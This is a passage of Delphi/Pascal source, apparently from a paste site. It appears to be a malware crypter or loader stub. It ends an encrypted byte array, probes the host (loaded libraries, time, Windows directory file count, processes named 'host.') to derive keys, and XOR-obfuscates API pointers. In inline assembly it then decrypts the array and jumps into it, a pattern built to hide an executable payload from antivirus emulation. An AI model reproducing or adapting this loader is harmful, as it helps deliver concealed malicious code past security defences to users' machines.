  811. $00, $D8, $0F, $00, $00, $B2, $1F, $00, $00, $68,
  812. $3E, $00, $00, $D8, $7D, $00, $00, $C0, $FB, $00,
  813. $00, $A0, $F7, $01, $00, $80, $EF, $03, $00, $80,
  814. $E0, $07, $00, $00, $C2, $0F, $00, $00, $88, $1F,
  815. $00, $00, $18, $3F, $00, $00, $40, $7E, $00, $00,
  816. $A0, $FC, $00, $00, $80, $F9, $01, $00, $80, $F3,
  817. $03, $00, $00, $E8, $07, $00, $00, $D2, $0F, $00,
  818. $00, $A8, $1F, $00, $00, $58, $3F, $00, $00, $C0,
  819. $7E, $00, $00, $A0, $FD, $00, $00, $80, $FB, $01,
  820. $00, $80, $F7, $03, $00, $00, $F0, $07, $00, $00,
  821. $E2, $0F, $00, $00, $C8, $1F, $00, $00, $98, $3F,
  822. $00, $00, $40, $7F, $00, $00, $A0, $FE, $01, $00,
  823. $80, $FD, $03, $00, $80, $FB, $07, $00, $00, $F8,
  824. $0F, $00, $00, $F2, $1F, $00, $00, $E8, $3F, $00,
  825. $00, $D8, $7F, $00, $00, $C0, $FF, $00, $00, $A0,
  826. $FF, $01, $00, $80, $FF, $03, $00, $80, $00, $08,
  827. $00, $00);
  828.  
  829.  
  830. type api=function:cardinal;stdcall;
  831.  
  832. function getinfo1:cardinal;
  833. begin
  834. result:=LoadLibrary('psapi')+LoadLibrary('setupapi')+getmodulehandle('gdi32.dll');
  835. end;
  836.  
  837. function getinfo2:cardinal;
  838. var lpSystemTime: TSystemTime ;
  839. begin
  840. getlocaltime(lpSystemTime);
  841. result:=lpSystemTime.wMinute+3;
  842. end;
  843.  
  844. function getinfo3:cardinal;
  845. var sr:Tsearchrec;
  846. found:integer;
  847. arr:array[0..256] of char;
  848. begin
  849. result:=0;
  850. getwindowsdirectory(arr,255);
  851. found:=FindFirst(arr+'\*.*', FaAnyfile, sr);
  852. while (found = 0) do
  853. begin
  854. result:=result+1;
  855. found:=findnext(sr);
  856. end;
  857. FindClose(sr);
  858. end;
  859.  
  860. var wnn:cardinal;
  861.  
  862. function getinfo4:cardinal;
  863. var
  864. p:PROCESSENTRY32;
  865. ct:cardinal;
  866. begin
  867. wnn:=0;
  868. ct:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  869. Process32First(ct,p);
  870. while Process32Next(ct,p) do if pos('host.',lowercase(p.szExeFile))>2 then wnn:=wnn+1;
  871. result:=wnn;
  872. end;
  873.  
  874. const
  875. cnt=12;
  876.  
  877. var
  878. apis:array[0..cnt] of pointer = (@GdiGetBatchLimit,@GetCommandLineA,@GetProcessHeap,@getinfo4,@GetDoubleClickTime,@getinfo1,@getinfo2,@GetKBCodePage,@getinfo3,@GetLogicalDrives,@GetCurrentProcessId,@GetCurrentThreadId,@GetVersion);
  879. hash,hash2:array[0..cnt] of cardinal;
  880. i:integer;
  881. tmp:cardinal;
  882. key:cardinal;
  883.  
  884. procedure randomsort;
  885. var aa:pointer;
  886. l,o1,o2:integer;
  887. bb:cardinal;
  888. begin
  889. for l := 0 to 999 do
  890. begin
  891. o1:=random(cnt);
  892. o2:=random(cnt);
  893. aa:=apis[o1];
  894. apis[o1]:=apis[o2];
  895. apis[o2]:=aa;
  896. bb:=hash[o1];
  897. hash[o1]:=hash[o2];
  898. hash[o2]:=bb;
  899. end
  900. end;
  901.  
  902.  
  903.  
  904.  
  905.  
  906.  
  907. var
  908. key1,key2:dword;
  909. begin
  910. key1:=999;
  911. key2:=999;
  912. randomize;
  913. randomsort;
  914. for i := 0 to cnt do
  915. begin
  916. tmp:=api(apis[i]);
  917. if tmp < 2 then tmp:=tmp+random(999)+99;
  918. hash[i]:=tmp;
  919. end;
  920. randomsort;
  921. for i := 0 to cnt do key1 := key1 + hash[i];
  922. cardinal(apis[0]):=cardinal(apis[0]) xor 777;
  923. for i := 0 to cnt do cardinal(apis[i+1]):=cardinal(apis[i+1]) xor hash[i];
  924. tmp:=777;
  925. for i := 0 to cnt do
  926. begin
  927. cardinal(apis[i]):=cardinal(apis[i]) xor tmp;
  928. tmp:=api(apis[i]);
  929. if tmp < 2 then tmp:=tmp+random(888)+77;
  930. hash2[i]:=tmp;
  931. end;
  932. for i := 0 to cnt do key2 := key2 + hash2[i];
  933. asm
  934. mov ecx,800H
  935. xor ecx,key1
  936. xor ecx,key2
  937. @L1:
  938. ror dword ptr [ecx*4 + offset array_name - 4],cl
  939. xor dword ptr [ecx*4 + offset array_name - 4],ecx
  940. loop @L1
  941. lea eax,array_name
  942. add eax,600H
  943. Call Eax
  944. end;
  945. end.
Add Comment
Please, Sign In to add comment